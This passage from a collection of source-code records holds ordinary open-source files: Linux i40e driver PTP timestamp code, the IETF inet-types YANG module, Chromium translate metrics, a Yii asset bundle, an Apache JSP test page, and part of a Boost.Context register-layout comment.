HWTSTAMP_FILTER_PTP_V2_SYNC:\n\tcase HWTSTAMP_FILTER_PTP_V2_L4_SYNC:\n\tcase HWTSTAMP_FILTER_PTP_V2_DELAY_REQ:\n\tcase HWTSTAMP_FILTER_PTP_V2_L4_DELAY_REQ:\n\t\tif (!(pf->flags & I40E_FLAG_PTP_L4_CAPABLE))\n\t\t\treturn -ERANGE;\n\t\t/* fall through */\n\tcase HWTSTAMP_FILTER_PTP_V2_L2_EVENT:\n\tcase HWTSTAMP_FILTER_PTP_V2_L2_SYNC:\n\tcase HWTSTAMP_FILTER_PTP_V2_L2_DELAY_REQ:\n\t\tpf->ptp_rx = true;\n\t\ttsyntype = I40E_PRTTSYN_CTL1_V2MESSTYPE0_MASK |\n\t\t\t I40E_PRTTSYN_CTL1_TSYNTYPE_V2;\n\t\tif (pf->flags & I40E_FLAG_PTP_L4_CAPABLE) {\n\t\t\ttsyntype |= I40E_PRTTSYN_CTL1_UDP_ENA_MASK;\n\t\t\tconfig->rx_filter = HWTSTAMP_FILTER_PTP_V2_EVENT;\n\t\t} else {\n\t\t\tconfig->rx_filter = HWTSTAMP_FILTER_PTP_V2_L2_EVENT;\n\t\t}\n\t\tbreak;\n\tcase HWTSTAMP_FILTER_ALL:\n\tdefault:\n\t\treturn -ERANGE;\n\t}\n\n\t/* Clear out all 1588-related registers to clear and unlatch them. */\n\tspin_lock_bh(&pf->ptp_rx_lock);\n\trd32(hw, I40E_PRTTSYN_STAT_0);\n\trd32(hw, I40E_PRTTSYN_TXTIME_H);\n\trd32(hw, I40E_PRTTSYN_RXTIME_H(0));\n\trd32(hw, I40E_PRTTSYN_RXTIME_H(1));\n\trd32(hw, I40E_PRTTSYN_RXTIME_H(2));\n\trd32(hw, I40E_PRTTSYN_RXTIME_H(3));\n\tpf->latch_event_flags = 0;\n\tspin_unlock_bh(&pf->ptp_rx_lock);\n\n\t/* Enable/disable the Tx timestamp interrupt based on user input. */\n\tregval = rd32(hw, I40E_PRTTSYN_CTL0);\n\tif (pf->ptp_tx)\n\t\tregval |= I40E_PRTTSYN_CTL0_TXTIME_INT_ENA_MASK;\n\telse\n\t\tregval &= ~I40E_PRTTSYN_CTL0_TXTIME_INT_ENA_MASK;\n\twr32(hw, I40E_PRTTSYN_CTL0, regval);\n\n\tregval = rd32(hw, I40E_PFINT_ICR0_ENA);\n\tif (pf->ptp_tx)\n\t\tregval |= I40E_PFINT_ICR0_ENA_TIMESYNC_MASK;\n\telse\n\t\tregval &= ~I40E_PFINT_ICR0_ENA_TIMESYNC_MASK;\n\twr32(hw, I40E_PFINT_ICR0_ENA, regval);\n\n\t/* Although there is no simple on/off switch for Rx, we \"disable\" Rx\n\t * timestamps by setting to V1 only mode and clear the UDP\n\t * recognition. This ought to disable all PTP Rx timestamps as V1\n\t * packets are always over UDP. Note that software is configured to\n\t * ignore Rx timestamps via the pf->ptp_rx flag.\n\t */\n\tregval = rd32(hw, I40E_PRTTSYN_CTL1);\n\t/* clear everything but the enable bit */\n\tregval &= I40E_PRTTSYN_CTL1_TSYNENA_MASK;\n\t/* now enable bits for desired Rx timestamps */\n\tregval |= tsyntype;\n\twr32(hw, I40E_PRTTSYN_CTL1, regval);\n\n\treturn 0;\n}\n\n/**\n * i40e_ptp_set_ts_config - ioctl interface to control the HW timestamping\n * @pf: Board private structure\n * @ifreq: ioctl data\n *\n * Respond to the user filter requests and make the appropriate hardware\n * changes here. The XL710 cannot support splitting of the Tx/Rx timestamping\n * logic, so keep track in software of whether to indicate these timestamps\n * or not.\n *\n * It is permissible to \"upgrade\" the user request to a broader filter, as long\n * as the user receives the timestamps they care about and the user is notified\n * the filter has been broadened.\n **/\nint i40e_ptp_set_ts_config(struct i40e_pf *pf, struct ifreq *ifr)\n{\n\tstruct hwtstamp_config config;\n\tint err;\n\n\tif (!(pf->flags & I40E_FLAG_PTP))\n\t\treturn -EOPNOTSUPP;\n\n\tif (copy_from_user(&config, ifr->ifr_data, sizeof(config)))\n\t\treturn -EFAULT;\n\n\terr = i40e_ptp_set_timestamp_mode(pf, &config);\n\tif (err)\n\t\treturn err;\n\n\t/* save these settings for future reference */\n\tpf->tstamp_config = config;\n\n\treturn copy_to_user(ifr->ifr_data, &config, sizeof(config)) ?\n\t\t-EFAULT : 0;\n}\n\n/**\n * i40e_ptp_create_clock - Create PTP clock device for userspace\n * @pf: Board private structure\n *\n * This function creates a new PTP clock device. It only creates one if we\n * don't already have one, so it is safe to call. Will return error if it\n * can't create one, but success if we already have a device. Should be used\n * by i40e_ptp_init to create clock initially, and prevent global resets from\n * creating new clock devices.\n **/\nstatic long i40e_ptp_create_clock(struct i40e_pf *pf)\n{\n\t/* no need to create a clock device if we already have one */\n\tif (!IS_ERR_OR_NULL(pf->ptp_clock))\n\t\treturn 0;\n\n\tstrncpy(pf->ptp_caps.name, i40e_driver_name, sizeof(pf->ptp_caps.name));\n\tpf->ptp_caps.owner = THIS_MODULE;\n\tpf->ptp_caps.max_adj = 999999999;\n\tpf->ptp_caps.n_ext_ts = 0;\n\tpf->ptp_caps.pps = 0;\n\tpf->ptp_caps.adjfreq = i40e_ptp_adjfreq;\n\tpf->ptp_caps.adjtime = i40e_ptp_adjtime;\n\tpf->ptp_caps.gettime64 = i40e_ptp_gettime;\n\tpf->ptp_caps.settime64 = i40e_ptp_settime;\n\tpf->ptp_caps.enable = i40e_ptp_feature_enable;\n\n\t/* Attempt to register the clock before enabling the hardware. */\n\tpf->ptp_clock = ptp_clock_register(&pf->ptp_caps, &pf->pdev->dev);\n\tif (IS_ERR(pf->ptp_clock))\n\t\treturn PTR_ERR(pf->ptp_clock);\n\n\t/* clear the hwtstamp settings here during clock create, instead of\n\t * during regular init, so that we can maintain settings across a\n\t * reset or suspend.\n\t */\n\tpf->tstamp_config.rx_filter = HWTSTAMP_FILTER_NONE;\n\tpf->tstamp_config.tx_type = HWTSTAMP_TX_OFF;\n\n\treturn 0;\n}\n\n/**\n * i40e_ptp_init - Initialize the 1588 support after device probe or reset\n * @pf: Board private structure\n *\n * This function sets device up for 1588 support. The first time it is run, it\n * will create a PHC clock device. It does not create a clock device if one\n * already exists. It also reconfigures the device after a reset.\n **/\nvoid i40e_ptp_init(struct i40e_pf *pf)\n{\n\tstruct net_device *netdev = pf->vsi[pf->lan_vsi]->netdev;\n\tstruct i40e_hw *hw = &pf->hw;\n\tu32 pf_id;\n\tlong err;\n\n\t/* Only one PF is assigned to control 1588 logic per port. Do not\n\t * enable any support for PFs not assigned via PRTTSYN_CTL0.PF_ID\n\t */\n\tpf_id = (rd32(hw, I40E_PRTTSYN_CTL0) & I40E_PRTTSYN_CTL0_PF_ID_MASK) >>\n\t\tI40E_PRTTSYN_CTL0_PF_ID_SHIFT;\n\tif (hw->pf_id != pf_id) {\n\t\tpf->flags &= ~I40E_FLAG_PTP;\n\t\tdev_info(&pf->pdev->dev, \"%s: PTP not supported on %s\\n\",\n\t\t\t __func__,\n\t\t\t netdev->name);\n\t\treturn;\n\t}\n\n\tmutex_init(&pf->tmreg_lock);\n\tspin_lock_init(&pf->ptp_rx_lock);\n\n\t/* ensure we have a clock device */\n\terr = i40e_ptp_create_clock(pf);\n\tif (err) {\n\t\tpf->ptp_clock = NULL;\n\t\tdev_err(&pf->pdev->dev, \"%s: ptp_clock_register failed\\n\",\n\t\t\t__func__);\n\t} else if (pf->ptp_clock) {\n\t\tstruct timespec64 ts;\n\t\tu32 regval;\n\n\t\tif (pf->hw.debug_mask & I40E_DEBUG_LAN)\n\t\t\tdev_info(&pf->pdev->dev, \"PHC enabled\\n\");\n\t\tpf->flags |= I40E_FLAG_PTP;\n\n\t\t/* Ensure the clocks are running. */\n\t\tregval = rd32(hw, I40E_PRTTSYN_CTL0);\n\t\tregval |= I40E_PRTTSYN_CTL0_TSYNENA_MASK;\n\t\twr32(hw, I40E_PRTTSYN_CTL0, regval);\n\t\tregval = rd32(hw, I40E_PRTTSYN_CTL1);\n\t\tregval |= I40E_PRTTSYN_CTL1_TSYNENA_MASK;\n\t\twr32(hw, I40E_PRTTSYN_CTL1, regval);\n\n\t\t/* Set the increment value per clock tick. */\n\t\ti40e_ptp_set_increment(pf);\n\n\t\t/* reset timestamping mode */\n\t\ti40e_ptp_set_timestamp_mode(pf, &pf->tstamp_config);\n\n\t\t/* Set the clock value. */\n\t\tts = ktime_to_timespec64(ktime_get_real());\n\t\ti40e_ptp_settime(&pf->ptp_caps, &ts);\n\t}\n}\n\n/**\n * i40e_ptp_stop - Disable the driver/hardware support and unregister the PHC\n * @pf: Board private structure\n *\n * This function handles the cleanup work required from the initialization by\n * clearing out the important information and unregistering the PHC.\n **/\nvoid i40e_ptp_stop(struct i40e_pf *pf)\n{\n\tpf->flags &= ~I40E_FLAG_PTP;\n\tpf->ptp_tx = false;\n\tpf->ptp_rx = false;\n\n\tif (pf->ptp_tx_skb) {\n\t\tdev_kfree_skb_any(pf->ptp_tx_skb);\n\t\tpf->ptp_tx_skb = NULL;\n\t\tclear_bit_unlock(__I40E_PTP_TX_IN_PROGRESS, &pf->state);\n\t}\n\n\tif (pf->ptp_clock) {\n\t\tptp_clock_unregister(pf->ptp_clock);\n\t\tpf->ptp_clock = NULL;\n\t\tdev_info(&pf->pdev->dev, \"%s: removed PHC on %s\\n\", __func__,\n\t\t\t pf->vsi[pf->lan_vsi]->netdev->name);\n\t}\n}\n"} {"text": "module ietf-inet-types {\n\n yang-version 1;\n\n namespace\n \"urn:ietf:params:xml:ns:yang:ietf-inet-types\";\n\n prefix inet;\n\n organization\n \"IETF NETMOD (NETCONF Data Modeling Language) Working Group\";\n\n contact\n \"WG Web: <http://tools.ietf.org/wg/netmod/>\n WG List: <mailto:netmod@ietf.org>\n\n WG Chair: David Kessens\n <mailto:david.kessens@nsn.com>\n\n WG Chair: Juergen Schoenwaelder\n <mailto:j.schoenwaelder@jacobs-university.de>\n\n Editor: Juergen Schoenwaelder\n <mailto:j.schoenwaelder@jacobs-university.de>\";\n\n description\n \"This module contains a collection of generally useful derived\n YANG data types for Internet addresses and related things.\n\n Copyright (c) 2013 IETF Trust and the persons identified as\n authors of the code. All rights reserved.\n\n Redistribution and use in source and binary forms, with or\n without modification, is permitted pursuant to, and subject\n to the license terms contained in, the Simplified BSD License\n set forth in Section 4.c of the IETF Trust's Legal Provisions\n Relating to IETF Documents\n (http://trustee.ietf.org/license-info).\n\n This version of this YANG module is part of RFC 6991; see\n the RFC itself for full legal notices.\";\n\n revision \"2013-07-15\" {\n description\n \"This revision adds the following new data types:\n - ip-address-no-zone\n - ipv4-address-no-zone\n - ipv6-address-no-zone\";\n reference\n \"RFC 6991: Common YANG Data Types\";\n\n }\n\n revision \"2010-09-24\" {\n description \"Initial revision.\";\n reference\n \"RFC 6021: Common YANG Data Types\";\n\n }\n\n\n typedef ip-version {\n type enumeration {\n enum \"unknown\" {\n value 0;\n description\n \"An unknown or unspecified version of the Internet\n protocol.\";\n }\n enum \"ipv4\" {\n value 1;\n description\n \"The IPv4 protocol as defined in RFC 791.\";\n }\n enum \"ipv6\" {\n value 2;\n description\n \"The IPv6 protocol as defined in RFC 2460.\";\n }\n }\n description\n \"This value represents the version of the IP protocol.\n\n In the value set and its semantics, this type is equivalent\n to the InetVersion textual convention of the SMIv2.\";\n reference\n \"RFC 791: Internet Protocol\n RFC 2460: Internet Protocol, Version 6 (IPv6) Specification\n RFC 4001: Textual Conventions for Internet Network Addresses\";\n\n }\n\n typedef dscp {\n type uint8 {\n range \"0..63\";\n }\n description\n \"The dscp type represents a Differentiated Services Code Point\n that may be used for marking packets in a traffic stream.\n In the value set and its semantics, this type is equivalent\n to the Dscp textual convention of the SMIv2.\";\n reference\n \"RFC 3289: Management Information Base for the Differentiated\n \t Services Architecture\n RFC 2474: Definition of the Differentiated Services Field\n \t (DS Field) in the IPv4 and IPv6 Headers\n RFC 2780: IANA Allocation Guidelines For Values In\n \t the Internet Protocol and Related Headers\";\n\n }\n\n typedef ipv6-flow-label {\n type uint32 {\n range \"0..1048575\";\n }\n description\n \"The ipv6-flow-label type represents the flow identifier or Flow\n Label in an IPv6 packet header that may be used to\n discriminate traffic flows.\n\n In the value set and its semantics, this type is equivalent\n to the IPv6FlowLabel textual convention of the SMIv2.\";\n reference\n \"RFC 3595: Textual Conventions for IPv6 Flow Label\n RFC 2460: Internet Protocol, Version 6 (IPv6) Specification\";\n\n }\n\n typedef port-number {\n type uint16 {\n range \"0..65535\";\n }\n description\n \"The port-number type represents a 16-bit port number of an\n Internet transport-layer protocol such as UDP, TCP, DCCP, or\n SCTP. Port numbers are assigned by IANA. A current list of\n all assignments is available from <http://www.iana.org/>.\n\n Note that the port number value zero is reserved by IANA. In\n situations where the value zero does not make sense, it can\n be excluded by subtyping the port-number type.\n In the value set and its semantics, this type is equivalent\n to the InetPortNumber textual convention of the SMIv2.\";\n reference\n \"RFC 768: User Datagram Protocol\n RFC 793: Transmission Control Protocol\n RFC 4960: Stream Control Transmission Protocol\n RFC 4340: Datagram Congestion Control Protocol (DCCP)\n RFC 4001: Textual Conventions for Internet Network Addresses\";\n\n }\n\n typedef as-number {\n type uint32;\n description\n \"The as-number type represents autonomous system numbers\n which identify an Autonomous System (AS). An AS is a set\n of routers under a single technical administration, using\n an interior gateway protocol and common metrics to route\n packets within the AS, and using an exterior gateway\n protocol to route packets to other ASes. IANA maintains\n the AS number space and has delegated large parts to the\n regional registries.\n\n Autonomous system numbers were originally limited to 16\n bits. BGP extensions have enlarged the autonomous system\n number space to 32 bits. This type therefore uses an uint32\n base type without a range restriction in order to support\n a larger autonomous system number space.\n\n In the value set and its semantics, this type is equivalent\n to the InetAutonomousSystemNumber textual convention of\n the SMIv2.\";\n reference\n \"RFC 1930: Guidelines for creation, selection, and registration\n \t of an Autonomous System (AS)\n RFC 4271: A Border Gateway Protocol 4 (BGP-4)\n RFC 4001: Textual Conventions for Internet Network Addresses\n RFC 6793: BGP Support for Four-Octet Autonomous System (AS)\n \t Number Space\";\n\n }\n\n typedef ip-address {\n type union {\n type ipv4-address;\n type ipv6-address;\n }\n description\n \"The ip-address type represents an IP address and is IP\n version neutral. The format of the textual representation\n implies the IP version. This type supports scoped addresses\n by allowing zone identifiers in the address format.\";\n reference\n \"RFC 4007: IPv6 Scoped Address Architecture\";\n\n }\n\n typedef ipv4-address {\n type string {\n pattern\n '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?';\n }\n description\n \"The ipv4-address type represents an IPv4 address in\n dotted-quad notation. The IPv4 address may include a zone\n index, separated by a % sign.\n\n The zone index is used to disambiguate identical address\n values. For link-local addresses, the zone index will\n typically be the interface index number or the name of an\n interface. If the zone index is not present, the default\n zone of the device will be used.\n\n The canonical format for the zone index is the numerical\n format\";\n }\n\n typedef ipv6-address {\n type string {\n pattern\n '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?';\n pattern\n '(([^:]+:){6}(([^:]+:[^:]+)|(.*\\..*)))|((([^:]+:)*[^:]+)?::(([^:]+:)*[^:]+)?)(%.+)?';\n }\n description\n \"The ipv6-address type represents an IPv6 address in full,\n mixed, shortened, and shortened-mixed notation. The IPv6\n address may include a zone index, separated by a % sign.\n\n The zone index is used to disambiguate identical address\n values. For link-local addresses, the zone index will\n typically be the interface index number or the name of an\n interface. If the zone index is not present, the default\n zone of the device will be used.\n\n\n\n The canonical format of IPv6 addresses uses the textual\n representation defined in Section 4 of RFC 5952. The\n canonical format for the zone index is the numerical\n format as described in Section 11.2 of RFC 4007.\";\n reference\n \"RFC 4291: IP Version 6 Addressing Architecture\n RFC 4007: IPv6 Scoped Address Architecture\n RFC 5952: A Recommendation for IPv6 Address Text\n \t Representation\";\n\n }\n\n typedef ip-address-no-zone {\n type union {\n type ipv4-address-no-zone;\n type ipv6-address-no-zone;\n }\n description\n \"The ip-address-no-zone type represents an IP address and is\n IP version neutral. The format of the textual representation\n implies the IP version. This type does not support scoped\n addresses since it does not allow zone identifiers in the\n address format.\";\n reference\n \"RFC 4007: IPv6 Scoped Address Architecture\";\n\n }\n\n typedef ipv4-address-no-zone {\n type ipv4-address {\n pattern '[0-9\\.]*';\n }\n description\n \"An IPv4 address without a zone index. This type, derived from\n ipv4-address, may be used in situations where the zone is\n known from the context and hence no zone index is needed.\";\n }\n\n typedef ipv6-address-no-zone {\n type ipv6-address {\n pattern '[0-9a-fA-F:\\.]*';\n }\n description\n \"An IPv6 address without a zone index. This type, derived from\n ipv6-address, may be used in situations where the zone is\n known from the context and hence no zone index is needed.\";\n reference\n \"RFC 4291: IP Version 6 Addressing Architecture\n RFC 4007: IPv6 Scoped Address Architecture\n RFC 5952: A Recommendation for IPv6 Address Text\n \t Representation\";\n\n }\n\n typedef ip-prefix {\n type union {\n type ipv4-prefix;\n type ipv6-prefix;\n }\n description\n \"The ip-prefix type represents an IP prefix and is IP\n version neutral. The format of the textual representations\n implies the IP version.\";\n }\n\n typedef ipv4-prefix {\n type string {\n pattern\n '(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])/(([0-9])|([1-2][0-9])|(3[0-2]))';\n }\n description\n \"The ipv4-prefix type represents an IPv4 address prefix.\n The prefix length is given by the number following the\n slash character and must be less than or equal to 32.\n\n A prefix length value of n corresponds to an IP address\n mask that has n contiguous 1-bits from the most\n significant bit (MSB) and all other bits set to 0.\n\n The canonical format of an IPv4 prefix has all bits of\n the IPv4 address set to zero that are not part of the\n IPv4 prefix.\";\n }\n\n typedef ipv6-prefix {\n type string {\n pattern\n '((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(/(([0-9])|([0-9]{2})|(1[0-1][0-9])|(12[0-8])))';\n pattern\n '(([^:]+:){6}(([^:]+:[^:]+)|(.*\\..*)))|((([^:]+:)*[^:]+)?::(([^:]+:)*[^:]+)?)(/.+)';\n }\n description\n \"The ipv6-prefix type represents an IPv6 address prefix.\n The prefix length is given by the number following the\n slash character and must be less than or equal to 128.\n\n A prefix length value of n corresponds to an IP address\n mask that has n contiguous 1-bits from the most\n significant bit (MSB) and all other bits set to 0.\n\n The IPv6 address should have all bits that do not belong\n to the prefix set to zero.\n\n The canonical format of an IPv6 prefix has all bits of\n the IPv6 address set to zero that are not part of the\n IPv6 prefix. Furthermore, the IPv6 address is represented\n as defined in Section 4 of RFC 5952.\";\n reference\n \"RFC 5952: A Recommendation for IPv6 Address Text\n \t Representation\";\n\n }\n\n typedef domain-name {\n type string {\n length \"1..253\";\n pattern\n '((([a-zA-Z0-9_]([a-zA-Z0-9\\-_]){0,61})?[a-zA-Z0-9]\\.)*([a-zA-Z0-9_]([a-zA-Z0-9\\-_]){0,61})?[a-zA-Z0-9]\\.?)|\\.';\n }\n description\n \"The domain-name type represents a DNS domain name. The\n name SHOULD be fully qualified whenever possible.\n\n Internet domain names are only loosely specified. Section\n 3.5 of RFC 1034 recommends a syntax (modified in Section\n 2.1 of RFC 1123). The pattern above is intended to allow\n for current practice in domain name use, and some possible\n future expansion. It is designed to hold various types of\n domain names, including names used for A or AAAA records\n (host names) and other records, such as SRV records. Note\n that Internet host names have a stricter syntax (described\n in RFC 952) than the DNS recommendations in RFCs 1034 and\n 1123, and that systems that want to store host names in\n schema nodes using the domain-name type are recommended to\n adhere to this stricter standard to ensure interoperability.\n\n The encoding of DNS names in the DNS protocol is limited\n to 255 characters. Since the encoding consists of labels\n prefixed by a length bytes and there is a trailing NULL\n byte, only 253 characters can appear in the textual dotted\n notation.\n\n The description clause of schema nodes using the domain-name\n type MUST describe when and how these names are resolved to\n IP addresses. Note that the resolution of a domain-name value\n may require to query multiple DNS records (e.g., A for IPv4\n and AAAA for IPv6). The order of the resolution process and\n which DNS record takes precedence can either be defined\n explicitly or may depend on the configuration of the\n resolver.\n\n Domain-name values use the US-ASCII encoding. Their canonical\n format uses lowercase US-ASCII characters. Internationalized\n domain names MUST be A-labels as per RFC 5890.\";\n reference\n \"RFC 952: DoD Internet Host Table Specification\n RFC 1034: Domain Names - Concepts and Facilities\n RFC 1123: Requirements for Internet Hosts -- Application\n \t and Support\n RFC 2782: A DNS RR for specifying the location of services\n \t (DNS SRV)\n RFC 5890: Internationalized Domain Names in Applications\n \t (IDNA): Definitions and Document Framework\";\n\n }\n\n typedef host {\n type union {\n type ip-address;\n type domain-name;\n }\n description\n \"The host type represents either an IP address or a DNS\n domain name.\";\n }\n\n typedef uri {\n type string;\n description\n \"The uri type represents a Uniform Resource Identifier\n (URI) as defined by STD 66.\n\n Objects using the uri type MUST be in US-ASCII encoding,\n and MUST be normalized as described by RFC 3986 Sections\n 6.2.1, 6.2.2.1, and 6.2.2.2. All unnecessary\n percent-encoding is removed, and all case-insensitive\n characters are set to lowercase except for hexadecimal\n digits, which are normalized to uppercase as described in\n Section 6.2.2.1.\n\n The purpose of this normalization is to help provide\n unique URIs. Note that this normalization is not\n sufficient to provide uniqueness. Two URIs that are\n textually distinct after this normalization may still be\n equivalent.\n\n Objects using the uri type may restrict the schemes that\n they permit. For example, 'data:' and 'urn:' schemes\n might not be appropriate.\n\n A zero-length URI is not a valid URI. This can be used to\n express 'URI absent' where required.\n\n In the value set and its semantics, this type is equivalent\n to the Uri SMIv2 textual convention defined in RFC 5017.\";\n reference\n \"RFC 3986: Uniform Resource Identifier (URI): Generic Syntax\n RFC 3305: Report from the Joint W3C/IETF URI Planning Interest\n \t Group: Uniform Resource Identifiers (URIs), URLs,\n \t and Uniform Resource Names (URNs): Clarifications\n \t and Recommendations\n RFC 5017: MIB Textual Conventions for Uniform Resource\n \t Identifiers (URIs)\";\n\n }\n } // module ietf-inet-types\n"} {"text": "// Copyright 2014 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"components/translate/core/browser/translate_browser_metrics.h\"\n\n#include <stddef.h>\n\n#include <string>\n\n#include \"base/macros.h\"\n#include \"base/metrics/histogram_macros.h\"\n#include \"base/metrics/sparse_histogram.h\"\n#include \"components/language_usage_metrics/language_usage_metrics.h\"\n\nnamespace translate {\n\nnamespace {\n\n// Constant string values to indicate UMA names. All entries should have\n// a corresponding index in MetricsNameIndex and an entry in |kMetricsEntries|.\nconst char kTranslateInitiationStatus[] =\n \"Translate.InitiationStatus.v2\";\nconst char kTranslateReportLanguageDetectionError[] =\n \"Translate.ReportLanguageDetectionError\";\nconst char kTranslateLocalesOnDisabledByPrefs[] =\n \"Translate.LocalesOnDisabledByPrefs\";\nconst char kTranslateUndisplayableLanguage[] =\n \"Translate.UndisplayableLanguage\";\nconst char kTranslateUnsupportedLanguageAtInitiation[] =\n \"Translate.UnsupportedLanguageAtInitiation\";\n\nstruct MetricsEntry {\n TranslateBrowserMetrics::MetricsNameIndex index;\n const char* const name;\n};\n\n// This entry table should be updated when new UMA items are added.\nconst MetricsEntry kMetricsEntries[] = {\n { TranslateBrowserMetrics::UMA_INITIATION_STATUS,\n kTranslateInitiationStatus },\n { TranslateBrowserMetrics::UMA_LANGUAGE_DETECTION_ERROR,\n kTranslateReportLanguageDetectionError },\n { TranslateBrowserMetrics::UMA_LOCALES_ON_DISABLED_BY_PREFS,\n kTranslateLocalesOnDisabledByPrefs },\n { TranslateBrowserMetrics::UMA_UNDISPLAYABLE_LANGUAGE,\n kTranslateUndisplayableLanguage },\n { TranslateBrowserMetrics::UMA_UNSUPPORTED_LANGUAGE_AT_INITIATION,\n kTranslateUnsupportedLanguageAtInitiation },\n};\n\nstatic_assert(arraysize(kMetricsEntries) == TranslateBrowserMetrics::UMA_MAX,\n \"kMetricsEntries should have UMA_MAX elements\");\n\n} // namespace\n\nnamespace TranslateBrowserMetrics {\n\nvoid ReportInitiationStatus(InitiationStatusType type) {\n UMA_HISTOGRAM_ENUMERATION(kTranslateInitiationStatus,\n type,\n INITIATION_STATUS_MAX);\n}\n\nvoid ReportLanguageDetectionError() {\n UMA_HISTOGRAM_BOOLEAN(kTranslateReportLanguageDetectionError, true);\n}\n\nvoid ReportLocalesOnDisabledByPrefs(const std::string& locale) {\n UMA_HISTOGRAM_SPARSE_SLOWLY(\n kTranslateLocalesOnDisabledByPrefs,\n language_usage_metrics::LanguageUsageMetrics::ToLanguageCode(locale));\n}\n\nvoid ReportUndisplayableLanguage(const std::string& language) {\n int language_code =\n language_usage_metrics::LanguageUsageMetrics::ToLanguageCode(language);\n UMA_HISTOGRAM_SPARSE_SLOWLY(kTranslateUndisplayableLanguage,\n language_code);\n}\n\nvoid ReportUnsupportedLanguageAtInitiation(const std::string& language) {\n int language_code =\n language_usage_metrics::LanguageUsageMetrics::ToLanguageCode(language);\n UMA_HISTOGRAM_SPARSE_SLOWLY(kTranslateUnsupportedLanguageAtInitiation,\n language_code);\n}\n\nconst char* GetMetricsName(MetricsNameIndex index) {\n for (size_t i = 0; i < arraysize(kMetricsEntries); ++i) {\n if (kMetricsEntries[i].index == index)\n return kMetricsEntries[i].name;\n }\n NOTREACHED();\n return NULL;\n}\n\n} // namespace TranslateBrowserMetrics\n\n} // namespace translate\n"} {"text": "<?php\nnamespace common\\assets;\n\nuse yii\\web\\AssetBundle;\n\nclass ModalAsset extends AssetBundle\n{\n public $sourcePath = '@common/static';\n public $js = [\n 'modal.js'\n ];\n public $depends = [\n 'common\\assets\\SweetalertAsset',\n ];\n}\n"} {"text": "<%--\n Licensed to the Apache Software Foundation (ASF) under one or more\n contributor license agreements. See the NOTICE file distributed with\n this work for additional information regarding copyright ownership.\n The ASF licenses this file to You under the Apache License, Version 2.0\n (the \"License\"); you may not use this file except in compliance with\n the License. You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n--%>\n<%--\n Resource file that is present both in the web application and in the\n WEB-INF/lib/resources.jar file. The one in the web application should win.\n--%>\n<p>resourceG.jsp in WEB-INF/classes</p>\n"} {"text": "/*\n Copyright Oliver Kowalke 2009.\n Distributed under the Boost Software License, Version 1.0.\n (See accompanying file LICENSE_1_0.txt or copy at\n http://www.boost.org/LICENSE_1_0.txt)\n*/\n\n/******************************************************\n * *\n * ------------------------------------------------- *\n * | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | *\n * ------------------------------------------------- *\n * | 0 | 4 | 8 | 12 | 16 | 20 | 24 | 28 | *\n * ------------------------------------------------- *\n * | F14 | F15 | F16 | F17 | *\n * ------------------------------------------------- *\n * ------------------------------------------------- *\n * | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | *\n * ------------------------------------------------- *\n * | 32 | 36 | 40 | 44 | 48 | 52 | 56 | 60 | *\n * ------------------------------------------------- *\n * | F18 | F19 | F20 | F21 | *\n * ------------------------------------------------- *\n * ------------------------------------------------- *\n * | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | *\n * ------------------------------------------------- *\n * | 64 | 68 | 72 | 76 | 80 | 84 | 88 | 92 | *\n * ------------------------------------------------- *\n * | F22 | F23 | F24 | F25 | *\n * ------------------------------------------------- *\n * ------------------------------------------------- *\n * | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | *\n * ------------------------------------------------- *\n * | 96 | 100 | 104 | 108 | 112 | 116 | 120 | 124 | *\n * ------------------------------------------------- *\n * | F26 | F27 | F28 | F29 | *\n * ------------------------------------------------- *\n * ------------------------------------------------- *\n * | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | *\n * ------------------------------------------------- *\n * | 128 | 132 | 136 | 140 | 144 | 148 | 152 | 156 | *\n * ------------------------------------------------- *\n * | F30 | F31 | fpscr | R13 | R14 | *\n * ------------------------------------------------- *\n * ------------------------------------------------- *\n * | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | *\n * ------------------------------------------------- *\n * | 160 | 164 | 168 | 172 | 176 | 180 | 184 | 188 | *\n * ------------------------------------------------- *\n * | R15 | R16 | R17 | R18 | R19 | R20 | R21 | R22 | *\n * ------------------------------------------------- *\n * ------------------------------------------------- *\n * | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | *\n * ------------------------------------------------- *\n * | 192 | 196 | 200 | 204 | 208 | 212 | 216 | 220 | *\n * ------------------------------------------------- *\n * | R23 | R24 | R25 | R26 | R27 | R28 | R29 | R30 | *\n * ------------------------------------------------- *\n * ------------------------------------------------- *\n * | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | *\n * ------------------------------------------------- *\n * | 224 | 228 | 232 | 236 | 240 | 244 | 248 | 252 | *\n * ------------------------------------------------- *\n * | R31 |hiddn| CR | LR | PC |bchai|linkr| FCTX| *\n * ------------------------------------------------- *\n * ------------------------------------------------- *\n * | 64 | | *\n * ------------------------------------------------- *\n * | 256 | | *\n * ------------------------------------------------- *\n * | DATA| | * \n * ------------------------------------------------- *\n * *\n 